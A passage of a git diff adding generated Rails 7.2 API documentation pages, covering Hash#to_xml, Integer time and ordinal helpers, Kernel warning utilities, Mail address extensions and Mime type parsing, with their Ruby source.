    +# </hash>
    +
    +
  • +

    Otherwise, a node with key as tag is created with a string representation of value as text node. If value is nil an attribute β€œnil” set to β€œtrue” is added. Unless the option :skip_types exists and is true, an attribute β€œtype” is added as well according to the following mapping:

    + +
    XML_TYPE_NAMES = {
    +  "Symbol"     => "symbol",
    +  "Integer"    => "integer",
    +  "BigDecimal" => "decimal",
    +  "Float"      => "float",
    +  "TrueClass"  => "boolean",
    +  "FalseClass" => "boolean",
    +  "Date"       => "date",
    +  "DateTime"   => "dateTime",
    +  "Time"       => "dateTime"
    +}
    +
    +
+ +

By default the root node is β€œhash”, but that’s configurable via the :root option.

+ +

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder with the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/conversions.rb, line 74
+  def to_xml(options = {})
+    require "active_support/builder" unless defined?(Builder::XmlMarkup)
+
+    options = options.dup
+    options[:indent]  ||= 2
+    options[:root]    ||= "hash"
+    options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
+
+    builder = options[:builder]
+    builder.instruct! unless options.delete(:skip_instruct)
+
+    root = ActiveSupport::XmlMini.rename_key(options[:root].to_s, options)
+
+    builder.tag!(root) do
+      each { |key, value| ActiveSupport::XmlMini.to_tag(key, value, options) }
+      yield builder if block_given?
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_defaults(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge +
+ + + + +
+ +
+

+ + with_defaults!(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge! +
+ + + + +
+ +
+

+ + with_indifferent_access() + +

+ + +
+

Returns an ActiveSupport::HashWithIndifferentAccess out of its receiver:

+ +
{ a: 1 }.with_indifferent_access['a'] # => 1
+
+
+ + + +
+ Also aliased as: nested_under_indifferent_access +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/indifferent_access.rb, line 9
+  def with_indifferent_access
+    ActiveSupport::HashWithIndifferentAccess.new(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/IO.html b/src/7.2/classes/IO.html new file mode 100644 index 0000000000..696ea71480 --- /dev/null +++ b/src/7.2/classes/IO.html @@ -0,0 +1,62 @@ +--- +title: IO +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Integer.html b/src/7.2/classes/Integer.html new file mode 100644 index 0000000000..2481512bbd --- /dev/null +++ b/src/7.2/classes/Integer.html @@ -0,0 +1,360 @@ +--- +title: Integer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + month() + +

+ + +
+ +
+ + + + + +
+ Alias for: months +
+ + + + +
+ +
+

+ + months() + +

+ + +
+

Returns a Duration instance matching the number of months provided.

+ +
2.months # => 2 months
+
+
+ + + +
+ Also aliased as: month +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/integer/time.rb, line 10
+  def months
+    ActiveSupport::Duration.months(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + multiple_of?(number) + +

+ + +
+

Check whether the integer is evenly divisible by the argument.

+ +
0.multiple_of?(0)  # => true
+6.multiple_of?(5)  # => false
+10.multiple_of?(2) # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/integer/multiple.rb, line 9
+  def multiple_of?(number)
+    number == 0 ? self == 0 : self % number == 0
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ordinal() + +

+ + +
+

Ordinal returns the suffix used to denote the position in an ordered sequence such as 1st, 2nd, 3rd, 4th.

+ +
1.ordinal     # => "st"
+2.ordinal     # => "nd"
+1002.ordinal  # => "nd"
+1003.ordinal  # => "rd"
+-11.ordinal   # => "th"
+-1001.ordinal # => "st"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/integer/inflections.rb, line 28
+  def ordinal
+    ActiveSupport::Inflector.ordinal(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ordinalize() + +

+ + +
+

Ordinalize turns a number into an ordinal string used to denote the position in an ordered sequence such as 1st, 2nd, 3rd, 4th.

+ +
1.ordinalize     # => "1st"
+2.ordinalize     # => "2nd"
+1002.ordinalize  # => "1002nd"
+1003.ordinalize  # => "1003rd"
+-11.ordinalize   # => "-11th"
+-1001.ordinalize # => "-1001st"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/integer/inflections.rb, line 15
+  def ordinalize
+    ActiveSupport::Inflector.ordinalize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + year() + +

+ + +
+ +
+ + + + + +
+ Alias for: years +
+ + + + +
+ +
+

+ + years() + +

+ + +
+

Returns a Duration instance matching the number of years provided.

+ +
2.years # => 2 years
+
+
+ + + +
+ Also aliased as: year +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/integer/time.rb, line 18
+  def years
+    ActiveSupport::Duration.years(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Kernel.html b/src/7.2/classes/Kernel.html new file mode 100644 index 0000000000..780276fb6b --- /dev/null +++ b/src/7.2/classes/Kernel.html @@ -0,0 +1,321 @@ +--- +title: Kernel +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + class_eval(*args, &block) + +

+ + +
+

class_eval on an object acts like singleton_class.class_eval.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/kernel/singleton_class.rb, line 5
+  def class_eval(*args, &block)
+    singleton_class.class_eval(*args, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + concern(topic, &module_definition) + +

+ + +
+

A shortcut to define a toplevel concern, not within a module.

+ +

See Module::Concerning for more.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/kernel/concern.rb, line 11
+  def concern(topic, &module_definition)
+    Object.concern topic, &module_definition
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_warnings(&block) + +

+ + +
+

Sets $VERBOSE to true for the duration of the block and back to its original value afterwards.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/kernel/reporting.rb, line 20
+  def enable_warnings(&block)
+    with_warnings(true, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + silence_warnings(&block) + +

+ + +
+

Sets $VERBOSE to nil for the duration of the block and back to its original value afterwards.

+ +
silence_warnings do
+  value = noisy_call # no warning voiced
+end
+
+noisy_call # warning voiced
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/kernel/reporting.rb, line 14
+  def silence_warnings(&block)
+    with_warnings(nil, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + suppress(*exception_classes) + +

+ + +
+

Blocks and ignores any exception passed as argument if raised within the block.

+ +
suppress(ZeroDivisionError) do
+  1/0
+  puts 'This code is NOT reached'
+end
+
+puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/kernel/reporting.rb, line 41
+  def suppress(*exception_classes)
+    yield
+  rescue *exception_classes
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_warnings(flag) + +

+ + +
+

Sets $VERBOSE for the duration of the block and back to its original value afterwards.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/kernel/reporting.rb, line 26
+  def with_warnings(flag)
+    old_verbose, $VERBOSE = $VERBOSE, flag
+    yield
+  ensure
+    $VERBOSE = old_verbose
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/LoadError.html b/src/7.2/classes/LoadError.html new file mode 100644 index 0000000000..20bc2ed504 --- /dev/null +++ b/src/7.2/classes/LoadError.html @@ -0,0 +1,107 @@ +--- +title: LoadError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + is_missing?(location) + +

+ + +
+

Returns true if the given path name (except perhaps for the β€œ.rb” extension) is the missing file which caused the exception to be raised.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/load_error.rb, line 6
+  def is_missing?(location)
+    location.delete_suffix(".rb") == path.to_s.delete_suffix(".rb")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mail.html b/src/7.2/classes/Mail.html new file mode 100644 index 0000000000..ddd8c995dc --- /dev/null +++ b/src/7.2/classes/Mail.html @@ -0,0 +1,130 @@ +--- +title: Mail +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + from_source(source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/from_source.rb, line 4
+  def self.from_source(source)
+    Mail.new Mail::Utilities.binary_unsafe_to_crlf(source.to_s)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Mail/Address.html b/src/7.2/classes/Mail/Address.html new file mode 100644 index 0000000000..807eb1ae60 --- /dev/null +++ b/src/7.2/classes/Mail/Address.html @@ -0,0 +1,151 @@ +--- +title: Mail::Address +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + wrap(address) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/address_wrapping.rb, line 5
+    def self.wrap(address)
+      address.is_a?(Mail::Address) ? address : Mail::Address.new(address)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other_address) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/address_equality.rb, line 5
+    def ==(other_address)
+      other_address.is_a?(Mail::Address) && to_s == other_address.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mail/Message.html b/src/7.2/classes/Mail/Message.html new file mode 100644 index 0000000000..402b1ab1d1 --- /dev/null +++ b/src/7.2/classes/Mail/Message.html @@ -0,0 +1,383 @@ +--- +title: Mail::Message +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + bcc_addresses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 21
+    def bcc_addresses
+      Array(address_list(header[:bcc])&.addresses)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + cc_addresses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 17
+    def cc_addresses
+      Array(address_list(header[:cc])&.addresses)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_address() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 5
+    def from_address
+      address_list(header[:from])&.addresses&.first
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + recipients() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/recipients.rb, line 5
+    def recipients
+      Array(to) + Array(cc) + Array(bcc) + Array(header[:x_original_to]).map(&:to_s) +
+        Array(header[:x_forwarded_to]).map(&:to_s)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + recipients_addresses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 9
+    def recipients_addresses
+      to_addresses + cc_addresses + bcc_addresses + x_original_to_addresses + x_forwarded_to_addresses
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_addresses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 13
+    def to_addresses
+      Array(address_list(header[:to])&.addresses)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + x_forwarded_to_addresses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 29
+    def x_forwarded_to_addresses
+      Array(header[:x_forwarded_to]).collect { |header| Mail::Address.new header.to_s }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + x_original_to_addresses() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/mail_ext/addresses.rb, line 25
+    def x_original_to_addresses
+      Array(header[:x_original_to]).collect { |header| Mail::Address.new header.to_s }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Method.html b/src/7.2/classes/Method.html new file mode 100644 index 0000000000..ebd11f9792 --- /dev/null +++ b/src/7.2/classes/Method.html @@ -0,0 +1,111 @@ +--- +title: Method +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + duplicable?() + +

+ + +
+

Methods are not duplicable:

+ +
method(:puts).duplicable? # => false
+method(:puts).dup         # => TypeError: allocator undefined for Method
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/duplicable.rb, line 44
+    def duplicable?
+      false
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mime.html b/src/7.2/classes/Mime.html new file mode 100644 index 0000000000..eae2748cf9 --- /dev/null +++ b/src/7.2/classes/Mime.html @@ -0,0 +1,245 @@ +--- +title: Mime +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ALL=AllType.instance
 

ALL isn’t a real MIME type, so we don’t register it for lookup with the other concrete types. It’s a wildcard match that we use for respond_to negotiation internals.

EXTENSION_LOOKUP={}
LOOKUP={}
SET=Mimes.new
+ + + + + + +

Class Public methods

+ +
+

+ + [](type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 51
+    def [](type)
+      return type if type.is_a?(Type)
+      Type.lookup_by_extension(type)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch(type, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 64
+    def fetch(type, &block)
+      return type if type.is_a?(Type)
+      EXTENSION_LOOKUP.fetch(type.to_s, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + symbols() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 56
+    def symbols
+      SET.symbols
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Mime/AllType.html b/src/7.2/classes/Mime/AllType.html new file mode 100644 index 0000000000..6c351b9edc --- /dev/null +++ b/src/7.2/classes/Mime/AllType.html @@ -0,0 +1,198 @@ +--- +title: Mime::AllType +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 352
+    def initialize
+      super "*/*", nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + all?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 356
+    def all?; true; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 357
+    def html?; true; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mime/Mimes.html b/src/7.2/classes/Mime/Mimes.html new file mode 100644 index 0000000000..5f2c0ad1f3 --- /dev/null +++ b/src/7.2/classes/Mime/Mimes.html @@ -0,0 +1,306 @@ +--- +title: Mime::Mimes +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + symbols
+ + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 13
+    def initialize
+      @mimes = []
+      @symbols = []
+      @symbols_set = Set.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <<(type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 23
+    def <<(type)
+      @mimes << type
+      sym_type = type.to_sym
+      @symbols << sym_type
+      @symbols_set << sym_type
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_if() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 30
+    def delete_if
+      @mimes.delete_if do |x|
+        if yield x
+          sym_type = x.to_sym
+          @symbols.delete(sym_type)
+          @symbols_set.delete(sym_type)
+          true
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 19
+    def each(&block)
+      @mimes.each(&block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + valid_symbols?(symbols) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 41
+    def valid_symbols?(symbols) # :nodoc
+      symbols.all? { |s| @symbols_set.include?(s) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mime/NullType.html b/src/7.2/classes/Mime/NullType.html new file mode 100644 index 0000000000..fd4c0bf704 --- /dev/null +++ b/src/7.2/classes/Mime/NullType.html @@ -0,0 +1,197 @@ +--- +title: Mime::NullType +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + nil?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 368
+    def nil?
+      true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ref() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 376
+    def ref; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 372
+    def to_s
+      ""
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Mime/Type.html b/src/7.2/classes/Mime/Type.html new file mode 100644 index 0000000000..15fd44a7ab --- /dev/null +++ b/src/7.2/classes/Mime/Type.html @@ -0,0 +1,1086 @@ +--- +title: Mime::Type +layout: default +--- +
+ +
+
+ +
+ +

Encapsulates the notion of a MIME type. Can be used at render time, for example, with:

+ +
class PostsController < ActionController::Base
+  def show
+    @post = Post.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.ics { render body: @post.to_ics, mime_type: Mime::Type.lookup("text/calendar")  }
+      format.xml { render xml: @post }
+    end
+  end
+end
+
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ACCEPT_HEADER_REGEXP=/[^,\s"](?:[^,"]|"[^"]*")*/
MIME_NAME="[a-zA-Z0-9][a-zA-Z0-9#{Regexp.escape('!#$&-^_.+')}]{0,126}"
MIME_PARAMETER="\s*;\s*#{MIME_NAME}(?:=#{MIME_PARAMETER_VALUE})?"
MIME_PARAMETER_VALUE="(?:#{MIME_NAME}|\"[^\"\r\\\\]*\")"
MIME_REGEXP=/\A(?:\*\/\*|#{MIME_NAME}\/(?:\*|#{MIME_NAME})(?>#{MIME_PARAMETER})*\s*)\z/
PARAMETER_SEPARATOR_REGEXP=/;\s*q="?/
 

all media-type parameters need to be before the q-parameter www.rfc-editor.org/rfc/rfc7231#section-5.3.2

TRAILING_STAR_REGEXP=/^(text|application)\/\*/
+ + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + hash
+ [R] + string
+ [R] + symbol
+ [R] + synonyms
+ + + + +

Class Public methods

+ +
+

+ + lookup(string) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 167
+      def lookup(string)
+        return LOOKUP[string] if LOOKUP.key?(string)
+
+        # fallback to the media-type without parameters if it was not found
+        string = string.split(";", 2)[0]&.rstrip
+        LOOKUP[string] || Type.new(string)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lookup_by_extension(extension) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 175
+      def lookup_by_extension(extension)
+        EXTENSION_LOOKUP[extension.to_s]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(string, symbol = nil, synonyms = []) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 264
+    def initialize(string, symbol = nil, synonyms = [])
+      unless MIME_REGEXP.match?(string)
+        raise InvalidMimeType, "#{string.inspect} is not a valid MIME type"
+      end
+      @symbol, @synonyms = symbol, synonyms
+      @string = string
+      @hash = [@string, @synonyms, @symbol].hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse(accept_header) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 200
+      def parse(accept_header)
+        if !accept_header.include?(",")
+          if (index = accept_header.index(PARAMETER_SEPARATOR_REGEXP))
+            accept_header = accept_header[0, index].strip
+          end
+          return [] if accept_header.blank?
+          parse_trailing_star(accept_header) || Array(Mime::Type.lookup(accept_header))
+        else
+          list, index = [], 0
+          accept_header.scan(ACCEPT_HEADER_REGEXP).each do |header|
+            params, q = header.split(PARAMETER_SEPARATOR_REGEXP)
+
+            next unless params
+            params.strip!
+            next if params.empty?
+
+            params = parse_trailing_star(params) || [params]
+
+            params.each do |m|
+              list << AcceptItem.new(index, m.to_s, q)
+              index += 1
+            end
+          end
+          AcceptList.sort! list
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse_data_with_trailing_star(type) + +

+ + +
+

For an input of 'text', returns [Mime[:json], Mime[:xml], Mime[:ics], Mime[:html], Mime[:css], Mime[:csv], Mime[:js], Mime[:yaml], Mime[:text]].

+ +

For an input of 'application', returns [Mime[:html], Mime[:js], Mime[:xml], Mime[:yaml], Mime[:atom], Mime[:json], Mime[:rss], Mime[:url_encoded_form]].

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 236
+      def parse_data_with_trailing_star(type)
+        Mime::SET.select { |m| m.match?(type) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse_trailing_star(accept_header) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 227
+      def parse_trailing_star(accept_header)
+        parse_data_with_trailing_star($1) if accept_header =~ TRAILING_STAR_REGEXP
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 186
+      def register(string, symbol, mime_type_synonyms = [], extension_synonyms = [], skip_lookup = false)
+        new_mime = Type.new(string, symbol, mime_type_synonyms)
+
+        SET << new_mime
+
+        ([string] + mime_type_synonyms).each { |str| LOOKUP[str] = new_mime } unless skip_lookup
+        ([symbol] + extension_synonyms).each { |ext| EXTENSION_LOOKUP[ext.to_s] = new_mime }
+
+        @register_callbacks.each do |callback|
+          callback.call(new_mime)
+        end
+        new_mime
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_alias(string, symbol, extension_synonyms = []) + +

+ + +
+

Registers an alias that’s not used on MIME type lookup, but can be referenced directly. Especially useful for rendering different HTML versions depending on the user agent, like an iPhone.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 182
+      def register_alias(string, symbol, extension_synonyms = [])
+        register(string, symbol, [], extension_synonyms, true)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_callback(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 163
+      def register_callback(&block)
+        @register_callbacks << block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister(symbol) + +

+ + +
+

This method is opposite of register method.

+ +

To unregister a MIME type:

+ +
Mime::Type.unregister(:mobile)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 245
+      def unregister(symbol)
+        symbol = symbol.downcase
+        if mime = Mime[symbol]
+          SET.delete_if { |v| v.eql?(mime) }
+          LOOKUP.delete_if { |_, v| v.eql?(mime) }
+          EXTENSION_LOOKUP.delete_if { |_, v| v.eql?(mime) }
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(mime_type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 297
+    def ==(mime_type)
+      return false unless mime_type
+      (@synonyms + [ self ]).any? do |synonym|
+        synonym.to_s == mime_type.to_s || synonym.to_sym == mime_type.to_sym
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ===(list) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 289
+    def ===(list)
+      if list.is_a?(Array)
+        (@synonyms + [ self ]).any? { |synonym| list.include?(synonym) }
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + =~(mime_type) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 311
+    def =~(mime_type)
+      return false unless mime_type
+      regexp = Regexp.new(Regexp.quote(mime_type.to_s))
+      @synonyms.any? { |synonym| synonym.to_s =~ regexp } || @string =~ regexp
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 327
+    def all?; false; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql?(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 304
+    def eql?(other)
+      super || (self.class == other.class &&
+                @string    == other.string &&
+                @synonyms  == other.synonyms &&
+                @symbol    == other.symbol)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_dispatch/http/mime_type.rb, line 323
+    def html?
